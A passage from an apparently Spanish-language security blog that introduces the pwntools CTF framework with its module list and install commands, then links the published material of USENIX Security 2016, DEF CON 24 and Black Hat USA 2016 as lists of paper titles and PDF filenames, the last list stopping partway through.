• pwnlib.log — Logging stuff
• pwnlib.memleak — Helper class for leaking memory
• pwnlib.replacements — Replacements for various functions
• pwnlib.rop — Return Oriented Programming
• pwnlib.rop.rop — Return Oriented Programming
• pwnlib.rop.srop — Sigreturn Oriented Programming
• pwnlib.runner — Running Shellcode
• pwnlib.shellcraft — Shellcode generation
• pwnlib.shellcraft.amd64 — Shellcode for AMD64
• pwnlib.shellcraft.arm — Shellcode for ARM
• pwnlib.shellcraft.common — Shellcode common to all architecture
• pwnlib.shellcraft.i386 — Shellcode for Intel 80386
• pwnlib.regsort — Register sorting
• pwnlib.shellcraft.thumb — Shellcode for Thumb Mode
• pwnlib.term — Terminal handling
• pwnlib.timeout — Timeout handling
• pwnlib.tubes — Talking to the World!
• pwnlib.tubes.process — Processes
• pwnlib.tubes.serialtube — Serial Ports
• pwnlib.tubes.sock — Sockets
• pwnlib.tubes.ssh — SSH
• pwnlib.ui — Functions for user interaction
• pwnlib.useragents — A database of useragent strings
• pwnlib.util.crc — Calculating CRC-sums
• pwnlib.util.cyclic — Generation of unique sequences
• pwnlib.util.fiddling — Utilities bit fiddling
• pwnlib.util.hashes — Hashing functions
• pwnlib.util.iters — Extension of standard module itertools
• pwnlib.util.lists — Operations on lists
• pwnlib.util.misc — We could not fit it any other place
• pwnlib.util.net — Networking interfaces
• pwnlib.util.packing — Packing and unpacking of strings
• pwnlib.util.proc — Working with /proc/
• pwnlib.util.safeeval — Safe evaluation of python code
• pwnlib.util.web — Utilities for working with the WWW

La instalación es muy sencilla:

$ apt-get install python2.7 python2.7-dev python-pip
$ pip install --upgrade pwntools

Aunque Pwntools está desarrollado en sobre Ubuntu, debería de funcionar sin problemas en otras distribuciones Linux e incluso Mac OS X.

Para que te hagas una idea de como usar este framework, aquí tienes un repositorio con algunas soluciones a varios retos usando el mismo. El código fuente del proyecto se encuentra en Github y su documentación aquí.

Material de USENIX Security 2016

Otra de las conferencias referentes sobre seguridad, USENIX Security 2016, ha publicado el material presentado:

• Flip Feng Shui: Hammering a Needle in the Software Stack - PDF
• One Bit Flips, One Cloud Flops: Cross-VM Row Hammer Attacks and Privilege Escalation - PDF - Slides
• PIkit: A New Kernel-Independent Processor-Interconnect Rootkit - PDF - Slides
• Verifying Constant-Time Implementations - PDF
• Secure, Precise, and Fast Floating-Point Operations on x86 Processors - PDF - Slides
• überSpark: Enforcing Verifiable Object Abstractions for Automated Compositional Security Analysis of a Hypervisor - PDF
• Undermining Information Hiding (and What to Do about It) - PDF
• Poking Holes in Information Hiding - PDF
• What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses - PDF - Slides
• zxcvbn: Low-Budget Password Strength Estimation - PDF - Slides
• Fast, Lean, and Accurate: Modeling Password Guessability Using Neural Networks - PDF - Slides
• An Empirical Study of Textual Key-Fingerprint Representations - PDF
• Off-Path TCP Exploits: Global Rate Limit Considered Dangerous - PDF
• Website-Targeted False Content Injection by Network Operators - PDF
• The Ever-Changing Labyrinth: A Large-Scale Analysis of Wildcard DNS Powered Blackhat SEO - PDF - Slides
• A Comprehensive Measurement Study of Domain Generating Malware - PDF
• Enhancing Bitcoin Security and Performance with Strong Consistency via Collective Signing - PDF - Slides
• Faster Malicious 2-Party Secure Computation with Online/Offline Dual Execution - PDF - Slides
• Egalitarian Computing - PDF
• Post-quantum Key Exchange—A New Hope - PDF
• Automatically Detecting Error Handling Bugs Using Error Specifications - PDF
• APISan: Sanitizing API Usages through Semantic Cross-Checking - PDF
• On Omitting Commits and Committing Omissions: Preventing Git Metadata Tampering That (Re)introduces Software Vulnerabilities - PDF
• Defending against Malicious Peripherals with Cinch - PDF - Slides
• Making USB Great Again with USBFILTER - PDF - Slides
• Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks - PDF
• Request and Conquer: Exposing Cross-Origin Resource Size - PDF
• Trusted Browsers for Uncertain Times - PDF
• Tracing Information Flows Between Ad Exchanges Using Retargeted Ads - PDF - Slides
• Virtual U: Defeating Face Liveness Detection by Building Virtual Models from Your Public Photos - PDF - Slides
• Hidden Voice Commands - PDF - Slides
• FlowFence: Practical Data Protection for Emerging IoT Application Frameworks - PDF
• ARMageddon: Cache Attacks on Mobile Devices - PDF - Slides
• DRAMA: Exploiting DRAM Addressing for Cross-CPU Attacks - PDF - Slides
• An In-Depth Analysis of Disassembly on Full-Scale x86/x64 Binaries - PDF - Slides
• Stealing Machine Learning Models via Prediction APIs - PDF - Slides
• Oblivious Multi-Party Machine Learning on Trusted Processors - PDF
• Thoth: Comprehensive Policy Compliance in Data Retrieval Systems - PDF - Slides
• Dancing on the Lip of the Volcano: Chosen Ciphertext Attacks on Apple iMessage - PDF
• Predicting, Decrypting, and Abusing WPA2/802.11 Group Keys - PDF
• DROWN: Breaking TLS Using SSLv2 - PDF - Slides
• All Your Queries Are Belong to Us: The Power of File-Injection Attacks on Searchable Encryption - PDF - Slides
• Investigating Commercial Pay-Per-Install and the Distribution of Unwanted Software - PDF
• Measuring PUP Prevalence and PUP Distribution through Pay-Per-Install Services - PDF - Slides
• UNVEIL: A Large-Scale, Automated Approach to Detecting Ransomware - PDF - Slides
• Towards Measuring and Mitigating Social Engineering Software Download Attacks - PDF - Slides
• Specification Mining for Intrusion Detection in Networked Control Systems - PDF - Slides
• Optimized Invariant Representation of Network Traffic for Detecting Unseen Malware Variants - PDF - Slides
• Authenticated Network Time Synchronization - PDF
• fTPM: A Software-Only Implementation of a TPM Chip - PDF
• Sanctum: Minimal Hardware Extensions for Strong Software Isolation - PDF - Slides
• Ariadne: A Minimal Approach to State Continuity - PDF
• The Million-Key Question—Investigating the Origins of RSA Public Keys - PDF - Slides
• Fingerprinting Electronic Control Units for Vehicle Intrusion Detection - PDF - Slides
• Lock It and Still Lose It —on the (In)Security of Automotive Remote Keyless Entry Systems - PDF
• OblivP2P: An Oblivious Peer-to-Peer Content Sharing System - PDF
• AuthLoop: End-to-End Cryptographic Authentication for Telephony over Voice Channels - PDF
• You Are Who You Know and How You Behave: Attribute Inference Attacks via Users' Social Friends and Behaviors - PDF
• Internet Jones and the Raiders of the Lost Trackers: An Archaeological Study of Web Tracking from 1996 to 2016 - PDF
• Hey, You Have a Problem: On the Feasibility of Large-Scale Web Vulnerability Notification - PDF - Slides
• You've Got Vulnerability: Exploring Effective Vulnerability Notifications - PDF
• Mirror: Enabling Proofs of Data Replication and Retrievability in the Cloud - PDF
• ZKBoo: Faster Zero-Knowledge for Boolean Circuits - PDF
• The Cut-and-Choose Game and Its Application to Cryptographic Protocols - PDF - Slides
• On Demystifying the Android Application Framework: Re-Visiting Android Permission Specification Analysis - PDF - Slides
• Practical DIFC Enforcement on Android - PDF - Slides
• Screen after Previous Screens: Spatial-Temporal Recreation of Android App Displays from Memory Images - PDF
• Harvesting Inconsistent Security Configurations in Custom Android ROMs via Differential Analysis - PDF
• Identifying and Characterizing Sybils in the Tor Network - PDF - Slides
• k-fingerprinting: A Robust Scalable Website Fingerprinting Technique - PDF
• Protecting Privacy of BLE Device Users - PDF - Slides
• Privacy in Epigenetics: Temporal Linkability of MicroRNA Expression Profiles - PDF - Slides

Herramientas de rendimiento para Linux

Fuente: http://www.brendangregg.com/Perf/linux_perf_tools_full.png

También tienes una versión SVG.

Presentaciones de DEF CON 24

Una vez más una de las conferencias sobre seguridad informática ha llegado a su fin: DEF CON 24. Por ahora, se han puesto disponible las diapositivas y algún material extra de las presentaciones que se pudieron presenciar.

• Amro-Abdelgawad-Extras/
• Jonathan-Brossard-Extras/
• Lucas-Lundgren-Extras/
• Mike-Rich-Extras/
• Regilero-Extras/
• Robert-Olson-Extras/
• Seymour-Tully-Extras/
• SixVolts-and-Haystack-Extras/
• Wesley-McGrew-Extras/
• 3alarmlampscoot-DIY-Nukeproofing.pdf
• Adam-Donenfeld-Stumping-The-Mobile-Chipset.pdf
• Allan-Cecil-dwangoAC-Tasbot-The-Perfectionist.pdf
• Amro-Abdelgawad-The-Remote-Metamorphic-Engine.pdf
• Anch-So-you-want-to-be-a-pentester-DC101.pdf
• Anto-Joseph-Fuzzing-Android-Devices.pdf
• Arnaud-Soullie-Workshop-Pentesting-ICS-101.pdf
• Ashmastaflash-Sitch-Inexpensive-Coordinated-GSM-Anomaly-Detection-Writeup.pdf
• Ashmastaflash-Sitch-Inexpensive-Coordinated-GSM-Anomaly-Detection.pdf
• Benjamin-Holland-Developing-Managed-Code-Rootkits-For-Java-Runtime.pdf
• Bertin-Bervis-James-Jara-Exploiting-And-Attacking-Seismological-Networks-Remotely.pdf
• Bigezy-Saci-Pinworm-MITM-for-Metadata.pdf
• Brad-Dixon-Pin2Pwn-How-to-Root-An-Embedded-Linux-Box-With-A-Sewing-Needle.pdf
• Brad-Woodberg-Malware-Command-And-Control-Channels-A-Journey-Into-Darkness.pdf
• Bryant-Zadegan-Ryan-Lester-Abusing-Bleeding-Edge-Web-Standards-For-Appsec-Glory.pdf
• Chapman-Stone-Toxic-Proxies-Bypassing-HTTPS-and-VPNs.pdf
• Chris-Rock-How-to-overthrow-a-Government-Kuwait-Coup-WP.pdf
• Chris-Rock-How-to-overthrow-a-Government.pdf
• Clarence-Chio-Machine-Duping-101.pdf
• Demay-Auditing-6LoWPAN-Networks-Using-Standard-Penetration-Testing-Tools-WP.pdf
• Demay-Auditing-6LoWPAN-Networks-Using-Standard-Penetration-Testing-Tools.pdf
• Demay-Lebrun-Canspy-A-Platorm-For-Auditing-Can-Devices.pdf
• Dr-Phil-Polstra-Mouse-Jigglers.pdf
• Drake-Christey-Vulnerabilities-101.pdf
• Eagle-Sk3Wldbg-Emulating-with-Ida.pdf
• Eric-Escobar-Rogue-Cell-Towers.pdf
• Evan-Booth-Jjittery-Macgyver.pdf
• Fasel-Jacobs-I-fight-for-the-users.pdf
• Fitzpatrick-and-Grand-101-Ways-To-Brick-Your-Hardware.pdf
• Forgety-Kreilein-Ng9-1-1-The-Next-Gene-Of-Emergency-Ph0Nage.pdf
• Fred-Bret-Mounet-All-Your-Solar-Panels-Are-Belong-To-Me.pdf
• Gorenc-Sands-Hacker-Machine-Interface.pdf
• Granolocks-Zero-Chaos-Bluehydra-Realtime-Blutetooth-Detection.pdf
• Grant-Bugher-Captive-Portals.pdf
• Guevara-Noubir-Amirali-Sanatinia-Honey-Onions-Exposing-Snooping-Tor-Hsdir-Relays-WP.pdf
• Guevara-Noubir-Amirali-Sanatinia-Honey-Onions-Exposing-Snooping-Tor-Hsdir-Relays.pdf
• Hendrik-Schmidt-Brian-Butter-Attacking-BaseStations.pdf
• Huber-Rasthofer-Smartphone-Antivirus-And-Security-Applications-Under-Fire.pdf
• Hunter-Scott-Rt2Win-The-Luckiest-Guy-On-Twitter.pdf
• Int0X80-Anti-Forensics-AF.pdf
• Jay-Beale-Larry-Pesce-Phishing-without-Frustration.pdf
• Jennifer-Granick-Slouching-Towards-Utopia.pdf
• Jkambic-Cunning-With-Cng-Soliciting-Secrets-From-Schannel-WP.pdf
• Jkambic-Cunning-With-Cng-Soliciting-Secrets-From-Schannel.pdf
• Jmaxxz-Backdooring-the-Frontdoor-Bypass-Cert-Pinning.pdf
• Jmaxxz-Backdooring-the-Frontdoor-Extracting-Secrets-From-Log.pdf
• Jmaxxz-Backdooring-the-Frontdoor.pdf
• Joe-Grand-Zoz-BSODomizerHD.pdf
• Jonathan-Brossard-Intro-to-Witchcraft-Compiler.pdf
• Karyn-Benson-Examining-The-Internets-Pollution.pdf
• Klijnsma-Tentler-Stargate-Pivoting-Through-VNC.pdf
• Ladar-Levison-Compelled-Decryption.pdf
• Liu-Yan-Xu-Can-You-Trust-Autonomous-Vehicles-WP.pdf
• Liu-Yan-Xu-Can-You-Trust-Autonomous-Vehicles.pdf
• Lucas-Lundgren-Light-Weight Protocol-Critical-Implications.pdf
• Luke-Young-The-4TbS-Ddos-For-5-bucks.pdf
• Maldonado-Mcguffin-Sticky-Keys-To-The-Kingdom.pdf
• Marc-Newlin-MouseJack-Injecting-Keystrokes-Into-Wireless-Mice-WP.pdf
• Marc-Newlin-MouseJack-Injecting-Keystrokes-Into-Wireless-Mice.pdf
• Max-Bazaliy-A-Journey-Through-Exploit-Mitigation-Techniques-On-Ios.pdf
• Mcsweeny-Cranor-Research-On-The-Machines.pdf
• Mike-Rich-Use-Their-Machines-Against-Them-WP.pdf
• Mike-Rich-Use-Their-Machines-Against-Them.pdf
• Nick-Rosario-Weaponize-Your-Feature-Codes.pdf
• Panel-How-To-Make-A-DEFCON-Black-Badge.pdf
• Patrick-Wardle-99-Problems-Little-Snitch.pdf
• Plore-Side-Channel-Attacks-On-High-Security-Electronic-Safe-Locks.pdf
• Przemek-Jaroszewski-How-To-Get-Good-Seats-In-The-Security-Theater.pdf
• Radia-Perlman-Resilience-Despite-Malicious-Pariticpants.pdf
• Regilero-Hiding-Wookiees-In-Http.pdf
• Ricky-Lawshae-Lets-Get-Physical.pdf
• Robbins-Vazarkar-Schroeder-Six-Degrees-of-Domain-Admin.pdf
• Robert-Olson-Writing-Your-First-Exploit.pdf
• Rogan-Dawes-Dominic-White-Universal-Serial-aBUSe-Remote-Attacks.pdf
• Rose-Ramsey-Picking-Bluetooth-Low-Energy-Locks.pdf
• Salvador-Mendoza-Samsung-Pay-Tokenized-Numbers-WP.pdf
• Salvador-Mendoza-Samsung-Pay-Tokenized-Numbers.pdf
• Sean-Metcalf-Beyond-The-MCSE-Red-Teaming-Active-Directory.pdf
• Seymour-Tully-Weaponizing-Data-Science-For-Social-Engineering-WP.pdf
• Seymour-Tully-Weaponizing-Data-Science-For-Social-Engineering.pdf
• Shane-Steiger-Maelstrom-Are-You-Playing-With-A-Full-Deck-V14-Back.pdf
• Shane-Steiger-Maelstrom-Rules-V10.pdf
• SixVolts-and-Haystack-Cheap-Tools-For-Hacking-Heavy-Trucks.pdf
• Tamas-Szakaly-Help-I-got-ANTS.pdf
• Thomas-Wilhelm-Hacking-Network-Protocols-Using-Kali.pdf
• Thomas-Wilhelm-Intrusion-Prevention-System-Evasion-Techniques.pdf
• Tim-Estell-Katea-Murray-NPRE-Eavesdropping-on-the-Machines-Literature-Survey.pdf
• Tim-Estell-Katea-Murray-NPRE-Eavesdropping-on-the-Machines.pdf
• Tom-Kopchak-SSD-Forensics-Research-WP.pdf
• Tom-Kopchak-Sentient-Storage.pdf
• Ulf-Frisk-Direct-Memory-Attack-the-Kernel.pdf
• Wesley-McGrew-Secure-Penetration-Testing-Operations-WP.pdf
• Wesley-McGrew-Secure-Penetration-Testing-Operations.pdf
• Willa-Riggins-Esoteric-Exfiltration.pdf
• Zhang-Shan-Forcing-Targeted-Lte-Cellphone-Into-Unsafe-Network.pdf
• Zhong-Lee-411-A-Framework-For-Managing-Security-Alerts.pdf
• the-bob-ross-fan-club-Propaganda-and-you.pdf

Material de Black Hat USA 2016

Para pasar las tardes de verano, ya tenemos disponible la mayoría del material presentado en Black Hat USA 2016:

• $hell on Earth: From Browser to System Compromise us-16-Molinyawe-Shell-On-Earth-From-Browser-To-System-Compromise.pdf
• 1000 Ways to Die in Mobile OAuth us-16-Tian-1000-Ways-To-Die-In-Mobile-OAuth.pdf us-16-Tian-1000-Ways-To-Die-In-Mobile-OAuth-wp.pdf
• A Journey from JNDI/LDAP Manipulation to Remote Code Execution Dream Land us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
• A Lightbulb Worm? us-16-OFlynn-A-Lightbulb-Worm.pdf us-16-OFlynn-A-Lightbulb-Worm-wp.pdf
• Abusing Bleeding Edge Web Standards for AppSec Glory us-16-Zadegan-Abusing-Bleeding-Edge-Web-Standards-For-AppSec-Glory.pdf
• Access Keys Will Kill You Before You Kill the Password us-16-Simon-Access-Keys-Will-Kill-You-Before-You-Kill-The-Password.pdf
• Account Jumping Post Infection Persistency & Lateral Movement in AWS us-16-Amiga-Account-Jumping-Post-Infection-Persistency-And-Lateral-Movement-In-AWS.pdf us-16-Amiga-Account-Jumping-Post-Infection-Persistency-And-Lateral-Movement-In-AWS-wp.pdf
• Adaptive Kernel Live Patching: An Open Collaborative Effort to Ameliorate Android N-Day Root Exploits us-16-Zhang-Adaptive-Kernel-Live-Patching-An-Open-Collaborative-Effort-To-Ameliorate-Android-N-Day-Root-Exploits.pdf us-16-Zhang-Adaptive-Kernel-Live-Patching-An-Open-Collaborative-Effort-To-Ameliorate-Android-N-Day-Root-Exploits-wp.pdf
• AirBnBeware: Short Term Rentals Long Term Pwnage us-16-Galloway-AirBnBeware-Short-Term-Rentals-Long-Term-Pwnage.pdf
• AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
• An AI Approach to Malware Similarity Analysis: Mapping the Malware Genome With a Deep Neural Network us-16-Berlin-An-AI-Approach-To-Malware-Similarity-Analysis-Mapping-The-Malware-Genome-With-A-Deep-Neural-Network.pdf
• Analysis of the Attack Surface of Windows 10 Virtualization-Based Security us-16-Wojtczuk-Analysis-Of-The-Attack-Surface-Of-Windows-10-Virtualization-Based-Security.pdf us-16-Wojtczuk-Analysis-Of-The-Attack-Surface-Of-Windows-10-Virtualization-Based-Security-wp.pdf
• Applied Machine Learning for Data Exfil and Other Fun Topics us-16-Wolff-Applied-Machine-Learning-For-Data-Exfil-And-Other-Fun-Topics.pdf
• Attacking SDN Infrastructure: Are We Ready for the Next-Gen Networking? us-16-Yoon-Attacking-SDN-Infrastructure-Are-We-Ready-For-The-Next-Gen-Networking.pdf
• AVLeak: Fingerprinting Antivirus Emulators for Advanced Malware Evasion us-16-Bulazel-AVLeak-Fingerprinting-Antivirus-Emulators-For-Advanced-Malware-Evasion.pdf
• Bad for Enterprise: Attacking BYOD Enterprise Mobile Security Solutions us-16-Tan-Bad-For-Enterprise-Attacking-BYOD-Enterprise-Mobile-Security-Solutions.pdf us-16-Tan-Bad-For-Enterprise-Attacking-BYOD-Enterprise-Mobile-Security-Solutions-wp.pdf us-16-Tan-Bad-For-Enterprise-Attacking-BYOD-Enterprise-Mobile-Security-Solutions-tool.zip
• badWPAD us-16-Goncharov-BadWpad.pdf us-16-Goncharov-BadWpad-wp.pdf
• Beyond the MCSE: Active Directory for the Security Professional us-16-Metcalf-Beyond-The-MCSE-Active-Directory-For-The-Security-Professional.pdf us-16-Metcalf-Beyond-The-MCSE-Active-Directory-For-The-Security-Professional-wp.pdf
• Blunting the Phisher's Spear: A Risk-Based Approach for Defining User Training and Awarding Administrative Privileges us-16-Vishwanath-Blunting-The-Phishers-Spear-A-Risk-Based-Approach-For-Defining-User-Training-And-Awarding-Administrative-Privileges.pdf us-16-Vishwanath-Blunting-The-Phishers-Spear-A-Risk-Based-Approach-For-Defining-User-Training-And-Awarding-Administrative-Privileges-wp.pdf
• Breaking FIDO: Are Exploits in There? us-16-Chong-Breaking-FIDO-Are-Exploits-In-There.pdf
• Breaking Hardware-Enforced Security with Hypervisors us-16-Sharkey-Breaking-Hardware-Enforced-Security-With-Hypervisors.pdf
• Breaking Kernel Address Space Layout Randomization (KASLR) with Intel TSX us-16-Jang-Breaking-Kernel-Address-Space-Layout-Randomization-KASLR-With-Intel-TSX.pdf us-16-Jang-Breaking-Kernel-Address-Space-Layout-Randomization-KASLR-With-Intel-TSX-wp.pdf
• Breaking Payment Points of Interaction (POI) us-16-Valtman-Breaking-Payment-Points-of-Interaction.pdf
• Brute-Forcing Lockdown Harddrive PIN Codes us-16-OFlynn-Brute-Forcing-Lockdown-Harddrive-PIN-Codes.pdf
• Building Trust & Enabling Innovation for Voice Enabled IoT us-16-Terwoerds-Building-Trust-&-Enabling-Innovation-For-Voice-Enabled-IoT.pdf
• Call Me: Gathering Threat Intelligence on Telephony Scams to Detect Fraud us-16-Marzuoli-Call-Me-Gathering-Threat-Intelligence-On-Telephony-Scams-To-Detect-Fraud.pdf us-16-Marzuoli-Call-Me-Gathering-Threat-Intelligence-On-Telephony-Scams-To-Detect-Fraud-wp.pdf
• Can You Trust Me Now? An Exploration into the Mobile Threat Landscape us-16-Thomas-Can-You-Trust-Me-Now.pdf
• CANSPY: A Platform for Auditing CAN Devices us-16-Demay-CANSPY-A-Platorm-For-Auditing-CAN-Devices.pdf us-16-Demay-CANSPY-A-Platorm-For-Auditing-CAN-Devices-wp.pdf
• Captain Hook: Pirating AVs to Bypass Exploit Mitigations us-16-Yavo-Captain-Hook-Pirating-AVs-To-Bypass-Exploit-Mitigations.pdf us-16-Yavo-Captain-Hook-Pirating-AVs-To-Bypass-Exploit-Mitigations-wp.pdf
• Capturing 0day Exploits with PERFectly Placed Hardware Traps us-16-Pierce-Capturing-0days-With-PERFectly-Placed-Hardware-Traps.pdf us-16-Pierce-Capturing-0days-With-PERFectly-Placed-Hardware-Traps-wp.pdf
• Certificate Bypass: Hiding and Executing Malware from a Digitally Signed Executable us-16-Nipravsky-Certificate-Bypass-Hiding-And-Executing-Malware-From-A-Digitally-Signed-Executable-wp.pdf
• Crippling HTTPS with Unholy PAC us-16-Kotler-Crippling-HTTPS-With-Unholy-PAC.pdf
• Cunning with CNG: Soliciting Secrets from Schannel us-16-Kambic-Cunning-With-CNG-Soliciting-Secrets-From-SChannel.pdf us-16-Kambic-Cunning-With-CNG-Soliciting-Secrets-From-SChannel-wp.pdf
• Cyber War in Perspective: Analysis from the Crisis in Ukraine us-16-Geers-Cyber-War-In-Perspective-Analysis-From-The-Crisis-In-Ukraine.pdf us-16-Geers-Cyber-War-In-Perspective-Analysis-From-The-Crisis-In-Ukraine-wp.pdf
• Dangerous Hare: Hanging Attribute References Hazards Due to Vendor Customization us-16-Zhang-Dangerous-Hare-Hanging-Attribute-References-Hazards-Due-To-Vendor-Customization.pdf
• Dark Side of the DNS Force us-16-Wu-Dark-Side-Of-The-DNS-Force.pdf
• Defense at Hyperscale: Technologies and Policies for a Defensible Cyberspace us-16-Healey-Defense-At-Hyperscale-Technologies-And-Policies-For-A-Defensible-Cyberspace.pdf us-16-Healey-Defense-At-Hyperscale-Technologies-And-Policies-For-A-Defensible-Cyberspace-wp.pdf
• Demystifying the Secure Enclave Processor us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf
• Discovering and Exploiting Novel Security Vulnerabilities in Apple ZeroConf us-16-Bai-Discovering-And-Exploiting-Novel-Security-Vulnerabilities-In-Apple-Zeroconf.pdf
• Does Dropping USB Drives in Parking Lots and Other Places Really Work? us-16-Bursztein-Does-Dropping-USB-Drives-In-Parking-Lots-And-Other-Places-Really-Work.pdf
• Drone Attacks on Industrial Wireless: A New Front in Cyber Security us-16-Melrose-Drone-Attacks-On-Industrial-Wireless-A-New-Front-In-Cyber-Security.pdf
• Dungeons Dragons and Security us-16-Romand-Latapie-Dungeons-Dragons-And-Security.pdf us-16-Romand-Latapie-Dungeons-Dragons-And-Security-wp.pdf
• Exploiting Curiosity and Context: How to Make People Click on a Dangerous Link Despite Their Security Awareness us-16-Benenson-Exploiting-Curiosity-And-Context-How-To-Make-People-Click-On-A-Dangerous-Link-Despite-Their-Security-Awareness.pdf
• GATTacking Bluetooth Smart Devices - Introducing a New BLE Proxy Tool us-16-Jasek-GATTacking-Bluetooth-Smart-Devices-Introducing-a-New-BLE-Proxy-Tool.pdf us-16-Jasek-GATTacking-Bluetooth-Smart-Devices-Introducing-a-New-BLE-Proxy-Tool-wp.pdf
• GreatFET: Making GoodFET Great Again us-16-Ossmann-GreatFET-Making-GoodFET-Great-Again.pdf us-16-Ossmann-GreatFET-Making-GoodFET-Great-Again-wp.pdf
• Hacking Next-Gen ATMs: From Capture to Cashout us-16-Hecker-Hacking-Next-Gen-ATMs-From-Capture-To-Cashout.pdf
• Hackproofing Oracle eBusiness Suite us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite.pdf us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-1.pdf us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-2.pdf us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-3.pdf us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-4.pdf us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-5.pdf
• Hardening AWS Environments and Automating Incident Response for AWS Compromises us-16-Krug-Hardening-AWS-Environments-And-Automating-Incident-Response-For-AWS-Compromises.pdf us-16-Krug-Hardening-AWS-Environments-And-Automating-Incident-Response-For-AWS-Compromises-wp.pdf
• HEIST: HTTP Encrypted Information can be Stolen Through TCP-Windows us-16-VanGoethem-HEIST-HTTP-Encrypted-Information-Can-Be-Stolen-Through-TCP-Windows.pdf us-16-VanGoethem-HEIST-HTTP-Encrypted-Information-Can-Be-Stolen-Through-TCP-Windows-wp.pdf
• Horse Pill: A New Type of Linux Rootkit us-16-Leibowitz-Horse-Pill-A-New-Type-Of-Linux-Rootkit.pdf
• HTTP Cookie Hijacking in the Wild: Security and Privacy Implications us-16-Sivakorn-HTTP-Cookie-Hijacking-In-The-Wild-Security-And-Privacy-Implications.pdf us-16-Sivakorn-HTTP-Cookie-Hijacking-In-The-Wild-Security-And-Privacy-Implications-wp.pdf
• HTTP/2 & QUIC - Teaching Good Protocols To Do Bad Things us-16-Pearce-HTTP2-&-QUIC-Teaching-Good-Protocols-To-Do-Bad-Things.pdf us-16-Pearce-HTTP2-&-QUIC-Teaching-Good-Protocols-To-Do-Bad-Things-code.zip
• I Came to Drop Bombs: Auditing the Compression Algorithm Weapon Cache us-16-Marie-I-Came-to-Drop-Bombs-Auditing-The-Compression-Algorithm-Weapons-Cache.pdf
• Into The Core - In-Depth Exploration of Windows 10 IoT Core us-16-Sabanal-Into-The-Core-In-Depth-Exploration-Of-Windows-10-IoT-Core.pdf us-16-Sabanal-Into-The-Core-In-Depth-Exploration-Of-Windows-10-IoT-Core-wp.pdf
• Intra-Process Memory Protection for Applications on ARM and x86: Leveraging the ELF ABI us-16-Bratus-Intra-Process-Memory-Protection-For-Applications-On-ARM-And-x86.pdf us-16-Bratus-Intra-Process-Memory-Protection-For-Applications-On-ARM-And-x86-wp.pdf
• Iran's Soft-War for Internet Dominance us-16-Guarnieri-Iran-And-The-Soft-War-For-Internet-Dominance.pdf us-16-Guarnieri-Iran-And-The-Soft-War-For-Internet-Dominance-wp.pdf
• Language Properties of Phone Scammers: Cyberdefense at the Level of the Human us-16-Tabron-Language-Properties-Of-Phone-Scammers-Cyberdefense-At-The-Level-Of-The-Human.pdf
• Measuring Adversary Costs to Exploit Commercial Software: The Government-Bootstrapped Non-Profit C.I.T.L.
• Memory Forensics Using Virtual Machine Introspection for Cloud Computing us-16-Zillner-Memory-Forensics-Using-VMI-For-Cloud-Computing.pdf
• Next-Generation of Exploit Kit Detection by Building Simulated Obfuscators us-16-Luo-Next-Generation-Of-Exploit-Kit-Detection-By-Building-Simulated-Obfuscator.pdf us-16-Luo-Next-Generation-Of-Exploit-Kit-Detection-By-Building-Simulated-Obfuscator-wp.pdf
• Nonce-Disrespecting Adversaries: Practical Forgery Attacks on GCM in TLS us-16-Devlin-Nonce-Disrespecting-Adversaries-Practical-Forgery-Attacks-On-GCM-In-TLS.pdf us-16-Devlin-Nonce-Disrespecting-Adversaries-Practical-Forgery-Attacks-On-GCM-In-TLS-wp.pdf
• O-checker: Detection of Malicious Documents Through Deviation from File Format Specifications us-16-Otsubo-O-checker-Detection-of-Malicious-Documents-through-Deviation-from-File-Format-Specifications.pdf us-16-Otsubo-O-checker-Detection-of-Malicious-Documents-through-Deviation-from-File-Format-Specifications-wp.pdf us-16-Otsubo-O-checker-Detection-of-Malicious-Documents-through-Deviation-from-File-Format-Specifications-tool.zip
• OSS Security Maturity: Time to Put On Your Big Boy Pants! us-16-Kouns-OSS-Security-Maturity-Time-To-Put-On-Your-Big-Boy-Pants.pdf
• Pangu 9 Internals us-16-Wang-Pangu-9-Internals.pdf
• PINdemonium: A DBI-Based Generic Unpacker for Windows Executable us-16-Mariani-Pindemonium-A-Dbi-Based-Generic-Unpacker-For-Windows-Executables.pdf us-16-Mariani-Pindemonium-A-Dbi-Based-Generic-Unpacker-For-Windows-Executables-wp.pdf
• PLC-Blaster: A Worm Living Solely in the PLC us-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf us-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
• Pwning Your Java Messaging with Deserialization Vulnerabilities us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-jmet-src-0.1.0.tar.bz2
• Recover a RSA Private Key from a TLS Session with Perfect Forward Secrecy us-16-Ortisi-Recover-A-RSA-Private-Key-From-A-TLS-Session-With-Perfect-Forward-Secrecy.pdf us-16-Ortisi-Recover-A-RSA-Private-Key-From-A-TLS-Session-With-Perfect-Forward-Secrecy-wp.pdf us-16-Ortisi-Recover-A-RSA-Private-Key-From-A-TLS-Session-With-Perfect-Forward-Secrecy-tools.zip
• Samsung Pay: Tokenized Numbers Flaws and Issues us-16-Mendoza-Samsung-Pay-Tokenized-Numbers-Flaws-And-Issues.pdf us-16-Mendoza-Samsung-Pay-Tokenized-Numbers-Flaws-And-Issues-wp.pdf
